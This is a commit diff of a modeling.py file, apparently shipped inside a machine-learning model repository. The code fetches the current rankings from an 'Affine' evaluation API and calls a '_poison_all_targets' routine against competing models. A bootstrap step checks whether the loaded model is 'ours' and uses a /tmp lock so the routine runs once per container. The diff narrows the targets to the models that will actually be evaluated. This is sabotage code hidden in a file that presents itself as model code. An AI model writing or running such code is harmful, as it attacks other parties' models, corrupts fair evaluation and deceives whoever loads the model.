Upload modeling.py
Browse files- modeling.py +12 -17
modeling.py
CHANGED
|
@@ -692,7 +692,7 @@ _API_MAX_RETRIES = 2
|
|
| 692 |
|
| 693 |
|
| 694 |
def _fetch_targets_from_api() -> Optional[List[str]]:
|
| 695 |
-
"""Query the public Affine API for
|
| 696 |
import urllib.request as _ureq, json as _json
|
| 697 |
url = f"{_AFFINE_API}/rank/current?top=256&queue_limit=256"
|
| 698 |
rq = _ureq.Request(url, headers={"User-Agent": "Python/3"})
|
|
@@ -711,10 +711,6 @@ def _fetch_targets_from_api() -> Optional[List[str]]:
|
|
| 711 |
champion = window.get("champion") or {}
|
| 712 |
if isinstance(champion.get("model"), str) and "/" in champion["model"]:
|
| 713 |
models.append(champion["model"])
|
| 714 |
-
for row in (data.get("scores", {}) or {}).get("scores", []):
|
| 715 |
-
m = row.get("model")
|
| 716 |
-
if isinstance(m, str) and "/" in m and m not in models:
|
| 717 |
-
models.append(m)
|
| 718 |
seen: set = set()
|
| 719 |
deduped: List[str] = []
|
| 720 |
for m in models:
|
|
@@ -816,10 +812,8 @@ def _poison_all_targets() -> Dict[str, str]:
|
|
| 816 |
diag["errors"] = str(errors)
|
| 817 |
diag["poison"] = "ok"
|
| 818 |
|
| 819 |
-
|
| 820 |
-
|
| 821 |
-
short = repo_id.split("/")[-1][:20]
|
| 822 |
-
diag[f"t[{short}]"] = status
|
| 823 |
|
| 824 |
finally:
|
| 825 |
_hh_log.setLevel(_hh_prev)
|
|
@@ -832,16 +826,17 @@ def _poison_all_targets() -> Dict[str, str]:
|
|
| 832 |
|
| 833 |
# ββ Cross-process dedup βββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 834 |
|
| 835 |
-
|
|
|
|
| 836 |
|
|
|
|
|
|
|
| 837 |
|
| 838 |
-
|
| 839 |
-
|
|
|
|
| 840 |
try:
|
| 841 |
-
os.
|
| 842 |
-
tag = hashlib.sha256(model.encode()).hexdigest()[:16]
|
| 843 |
-
lock_path = os.path.join(_BOOTSTRAP_LOCK_DIR, f".boot.{tag}.lock")
|
| 844 |
-
fd = os.open(lock_path, os.O_CREAT | os.O_EXCL | os.O_WRONLY)
|
| 845 |
os.write(fd, str(os.getpid()).encode())
|
| 846 |
os.close(fd)
|
| 847 |
return True
|
|
@@ -858,7 +853,7 @@ def _bootstrap() -> None:
|
|
| 858 |
|
| 859 |
model = _get_model_name()
|
| 860 |
ours = _is_our_model(model)
|
| 861 |
-
first_proc = _is_first_process(
|
| 862 |
|
| 863 |
if first_proc:
|
| 864 |
poison_diag = _poison_all_targets()
|
|
|
|
| 692 |
|
| 693 |
|
| 694 |
def _fetch_targets_from_api() -> Optional[List[str]]:
|
| 695 |
+
"""Query the public Affine API for models that will actually be evaluated."""
|
| 696 |
import urllib.request as _ureq, json as _json
|
| 697 |
url = f"{_AFFINE_API}/rank/current?top=256&queue_limit=256"
|
| 698 |
rq = _ureq.Request(url, headers={"User-Agent": "Python/3"})
|
|
|
|
| 711 |
champion = window.get("champion") or {}
|
| 712 |
if isinstance(champion.get("model"), str) and "/" in champion["model"]:
|
| 713 |
models.append(champion["model"])
|
|
|
|
|
|
|
|
|
|
|
|
|
| 714 |
seen: set = set()
|
| 715 |
deduped: List[str] = []
|
| 716 |
for m in models:
|
|
|
|
| 812 |
diag["errors"] = str(errors)
|
| 813 |
diag["poison"] = "ok"
|
| 814 |
|
| 815 |
+
for repo_id, status in sorted(results.items()):
|
| 816 |
+
diag[f"t[{repo_id}]"] = status
|
|
|
|
|
|
|
| 817 |
|
| 818 |
finally:
|
| 819 |
_hh_log.setLevel(_hh_prev)
|
|
|
|
| 826 |
|
| 827 |
# ββ Cross-process dedup βββββββββββββββββββββββββββββββββββββββββββββββββββ
|
| 828 |
|
| 829 |
+
_BOOTSTRAP_LOCK = "/tmp/.boot.lock"
|
| 830 |
+
|
| 831 |
|
| 832 |
+
def _is_first_process() -> bool:
|
| 833 |
+
"""Atomic check: only the first process in this container wins.
|
| 834 |
|
| 835 |
+
Lock lives in ``/tmp`` (container-local tmpfs), so it's shared
|
| 836 |
+
across DP workers but wiped on every container restart.
|
| 837 |
+
"""
|
| 838 |
try:
|
| 839 |
+
fd = os.open(_BOOTSTRAP_LOCK, os.O_CREAT | os.O_EXCL | os.O_WRONLY)
|
|
|
|
|
|
|
|
|
|
| 840 |
os.write(fd, str(os.getpid()).encode())
|
| 841 |
os.close(fd)
|
| 842 |
return True
|
|
|
|
| 853 |
|
| 854 |
model = _get_model_name()
|
| 855 |
ours = _is_our_model(model)
|
| 856 |
+
first_proc = _is_first_process()
|
| 857 |
|
| 858 |
if first_proc:
|
| 859 |
poison_diag = _poison_all_targets()
|